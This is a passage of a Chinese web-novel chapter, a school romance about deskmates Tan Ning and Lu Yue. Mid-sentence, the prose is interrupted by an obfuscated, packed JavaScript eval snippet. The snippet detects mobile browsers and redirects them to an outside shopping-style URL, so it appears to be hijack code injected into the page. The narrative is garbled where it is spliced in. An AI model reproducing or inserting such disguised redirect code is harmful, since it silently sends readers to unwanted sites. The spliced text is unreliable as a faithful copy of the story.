这哪里是拖了个人，简直是抱了条癞皮狗。 偏偏这只狗还丝毫不懂得收敛，一点都不老实，脑袋不停在她脖颈间动来动去，憨憨地吐着舌头喘气。 “陆二哈！”谭宁忍无可忍，冲他大喊：“别蹭了！！！” 咆哮声在屋子里回响，直到第三声传回来，肩膀上的压力突然减轻。 谭宁有感应似的看向陆跃，一阵风吹来，雾气散去，眼神有一瞬间的清明。 他哑着嗓子喊她的名字，问：“你叫我什么？” 26. 《主厨的战场》 谭宁把陆跃扶到休息室里的沙发上躺下，沙发窄小，他半条腿就这样垂在外面。 陆跃着了床，自己找了个舒服的姿势窝着，不多时房间里就响起均匀的呼吸声。 谭宁从外面拿水回来，看到他这副四仰八叉的睡姿，摇着脑袋笑出声来。 咔嚓两声，又是一张人生丑照。 其实陆跃这张脸怎么拍都不会难看到哪儿去，不过在谭宁手上，总能找到第三百六十一度的死角。 谭宁满意地收起手机，把矿泉水拧开放在旁边他能够到的桌子上，转身关门离开了。 陆跃是半夜被渴醒的，嗓子和鼻腔像是被烈日烘烤过的沙土，滋滋往外冒烟。 室内一片漆黑，陆跃伸手摸索着，一个不小心差点从沙发上滚下来。 “嘶……” 他用手掌堪堪撑住沙发边缘，费劲地爬起来坐下，掌根因为拉扯隐隐作痛。 依靠从窗帘底下透出的微弱光线，陆跃看到桌上摆放的那瓶水，像看到救命稻草一般赶紧抓了过来。 瓶盖很轻易就被打开，一满瓶水当即灌了半瓶进肚。陆跃大口大口地呼吸着，像是雨天鱼把头探出水面一般。 缓过神来，陆跃倒向沙发靠背，双腿往前伸直，瘫在沙发上喝完剩下半瓶水。 头、脖子、肩膀、腰、腿……身上没有一处是不疼不酸的，像是在睡梦中被人打了一顿。 等等！ 揉捏脖子的手突然停下，昏睡前的记忆像水一样潺潺流淌出来。 朦胧中，他看到自己抓住了一只小巧白皙的手，手的主人像受惊的兔子一样红着眼睛瞪他，陆跃看出了神。 后来她开始不停地晃动和大声讲话，陆跃被吵得头疼，一把将她扯过来捂住嘴，她扑腾扑腾的跳个不停，手掌染上她灼热的呼吸。 挣脱不开，兔子当即急了，张嘴对着他就是一口。不疼，细小的牙齿只在皮肤表面留下一排浅浅的牙印，酥酥麻麻的。 见他老实了，她扯过他的胳膊揽在肩上，托着他往前走。 他记得自己当时眼前一片模糊，脑袋很沉。身旁有个柔软的热源贴着他的脸，淡淡的暖香萦绕在鼻尖，像太阳晒过的软被，又像新鲜出炉的戚风蛋糕。 他控制不住地向她靠近，汲取温暖和香气。等他反应过来时，头顶响起一声怒吼。 “陆二哈！别蹭了！！！” 夜深，凉风从窗户缝隙钻进来，打在胳膊上，陆跃猛的一抖。 陆……二哈？？？ “靠！”陆跃低骂一声，舌尖滑过齿缝，越想越不爽。 刘姨把他认成圆圆也就算了，那好歹是一只威武凶猛的比利时牧羊犬！这二哈又是什么？！ 陆跃对狗没有任何歧视，但谭宁叫他这个称呼明显是指桑骂槐！哈士奇就哈士奇了，二什么二！说谁二！！！ 这一声称呼把陆跃气得够呛，睡醒之后还余怒未消。他左摸右摸，终于在右边裤兜里摸到手机，屏幕亮起，白光把陆跃的脸照得更加阴沉可怖。 屏幕上方弹出一条消息，正是犯下滔天罪行的某人——谭比格。 陆跃看着这个备注，指尖一顿。 虽然陆二哈和谭比格两个名字摆在一起意味十分相似，像是一对儿似的。但陆跃当初给她起这名字的时候并无恶意。 这还得从两人加上联系方式说起，那时已经是高一下学期。 那段时间班上学习氛围低迷，班主任灵机一动，想出组建学习小组的方式来调动积极性。 “一共是七个小组，每个小组六名成员。”班主任站在讲台上推了推泛黄的镜框，凑近看了一眼后纠正：“哦，最后一组只有五名成员。” 话音刚落，最后排就有人举手喊了一声老师，那人站起来摇头晃脑地说道：“咱们能不能自由组队啊？” “哈哈哈哈……”教室里笑作一团，也有人附和说是啊是啊。 “张一鸣！”老班一拍讲台，四周顿时烟雾缭绕。唾沫星子从粉笔灰中开出一条道来，班主任指着那人骂道：“还自由组队！你以为是去网吧开黑呢！” 这下大家只敢捂着嘴躲在书本下偷偷的笑。 班主任自知失态，抓了一把头顶上为数不多的两缕头发，清清嗓子说：“小组我已经分好了，下面我念给大家听，之后就按照分组来坐。” 班主任用一以贯之毫无起伏的粗哑嗓音念着，低下已经默默打起了哈欠。 “……最后一组，组长是谭宁。组员有……” 听到自己名字，谭宁一个激灵坐直，张了一半的嘴突然紧闭。 随后听到班主任缓缓说道：“徐浩、陈希如、宋明亮还有……” “陆跃。” “好，小组名单就是这样。下课后班长用投影仪在屏幕上展示一下，大家就按照座位表换座位。” 谭宁当时便直觉不妙，等下课后座位表展示出来，看到自己名字旁边紧挨着陆跃，顿时感觉天塌了。 苍天呐！如果我有罪，请直接降道雷劈死我，而不是让我跟陆跃坐同桌啊！ 谭宁转头看向陆跃的座位，他倒是看得开，一下课倒头就睡，动也不动。后脑勺那两根不服贴的头发高高竖起，越看越像是在挑衅。 不！应该要劈死陆跃那厮才对！ 轰隆—— 等她再次回过神来，陆跃已经坐在旁边了。 谭宁把桌子往外挪了挪，手从上往下滑动，劈开中间的缝隙：“以后不准越过这条线！” “啊……”陆跃打了个长长的哈欠，刚睡醒，眼睛里还有雾，嗓音低哑含糊：“这都什么年代了，还三八线呢？” 谭宁瞪他：“你管我！” 陆跃懒得理她，呆呆的在座位上坐了一会儿，起身顶着一头鸡窝到洗手间冲脸去了。 成为同桌的第一个星期，摩擦不断。 陆跃坐在外面，而谭宁的座位靠着墙，每当要出去或是进来，总得要陆跃起身才行。 谭宁本想着和他井水不犯河水，反正他这么一个好动的人，下课铃一响肯定就跑出去玩了，八成坐不住。 可自打当了同桌，陆少爷基本上每个课间就往桌上一趴，不到一分钟均匀的呼吸传出，动也不动了。 弄得谭宁每次要出去都只能硬着头皮叫他起身，连叫好几声。回回都得到他十分不耐的一记白眼，而谭宁照例白眼回去。 有一回谭宁叫了好几声他都没动静，那天正好是生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553411|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理期第二天，血多得都要溢出来了。 她站在座位里面紧紧捏着手心，尴尬得无处遁形。感觉自己像是个巨人，一举一动都在别人的注视之下。最后还是忍无可忍，伸手推了他一下。 “喂，让我出去一下。” 陆跃缓缓抬起头，脸色阴沉得可怕，侧脸上有几道压出来的红痕。 过了几秒，他起身让她出去。 谭宁如蒙大赦，出去时还不忘跟他道谢。 “谢……” 话还没说完，陆跃的头又栽了下去，闭眼前嘟嘟囔囔的说了句：“一天到晚不知道哪来那么多水要放。” 声音不大，却清清楚楚一字不落的进了谭宁耳朵。 她愣在那儿，只感觉轰的一声响过，冰冷的麻意瞬间传遍全身。 谭宁知道他脾气不好嘴巴很贱，她大可以像之前一样恶狠狠地反击回去，再气不过就把他抓起来毒打一顿。可这一回谭宁像是被定住了一般，手脚都被灌了铅，仿佛有千斤重。 她无法忽视陆跃说这话时语气里藏不住的嫌弃，但身下的不适让她只能强忍着吞下这只苍蝇，先解决个人问题。 从卫生间回来，陆跃依旧保持着走之前的姿势趴在桌面。 谭宁在旁边绞着手指，犹豫要不要再次把他叫醒。纠结再三，还是伸手，没等她碰到他肩膀，陆跃却突然站起，拉着张脸大步走出教室。 谭宁看着他离去的背影，咬着牙暗自握紧拳头。 好不容易被压下的羞辱感再次涌上心头，谭宁也不是逆来顺受的性格。 没等陆跃回来，她直接在走廊上拦住他：“你是不是故意的？” “什么？”陆跃脸上还挂着水珠，正沿着脖子往下滴。他垂眸看着面前插腰瞪着他的谭宁，不自觉地拧起眉头。 原本还有几分忐忑的谭宁看到他这副不耐的模样更加怒火中烧，嗓门也提高几分：“刚刚你堵在外面就是故意不让我出去是吧？陆跃！我到底哪里惹你了？今天你把话说清楚，不然我跟你没完！” 看着她嘴巴一张一合，陆跃只觉得脑瓜子嗡嗡作响。昨晚上半夜三点才睡着，好不容易补会儿觉，刚眯着就被她一巴掌拍醒。就这他没找她算账，她还反倒怪起他来了！ 真是岂有此理！ 陆跃揉了揉眉心，盯着她泛红的眼圈看了半天后说了句：“你有病吧？” 轻飘飘的一句话从他口中坠出，掉落在谭宁脚边。他不屑一顾的态度和颇具攻击性的回答彻底点燃了谭宁的怒火。 她冲他大吼：“你才有病！你全家都有病！！！” 陆跃的脸彻底阴沉下来，抿着唇不语。 原以为这就是一次再寻常不过的小打小闹，陆跃不知道她浑身的刺到底是从哪儿长出来的，就这么不管不顾地冲上来往他皮肉里扎。 人群很快被这响动吸引过来，零零散散的围在附近。陆跃瞥了眼四周，紧绷着下颌才堪堪忍下这股气，擦着她的肩转身走了。 陆跃走后，突如其来的光亮刺痛了谭宁的双眼，瞬间蒙上一层水雾。 谭宁站在原地，胸口起伏不止。而比起生气，更让她难堪的是周围投来的打量目光，她不敢细看，逃一般的冲回了教室。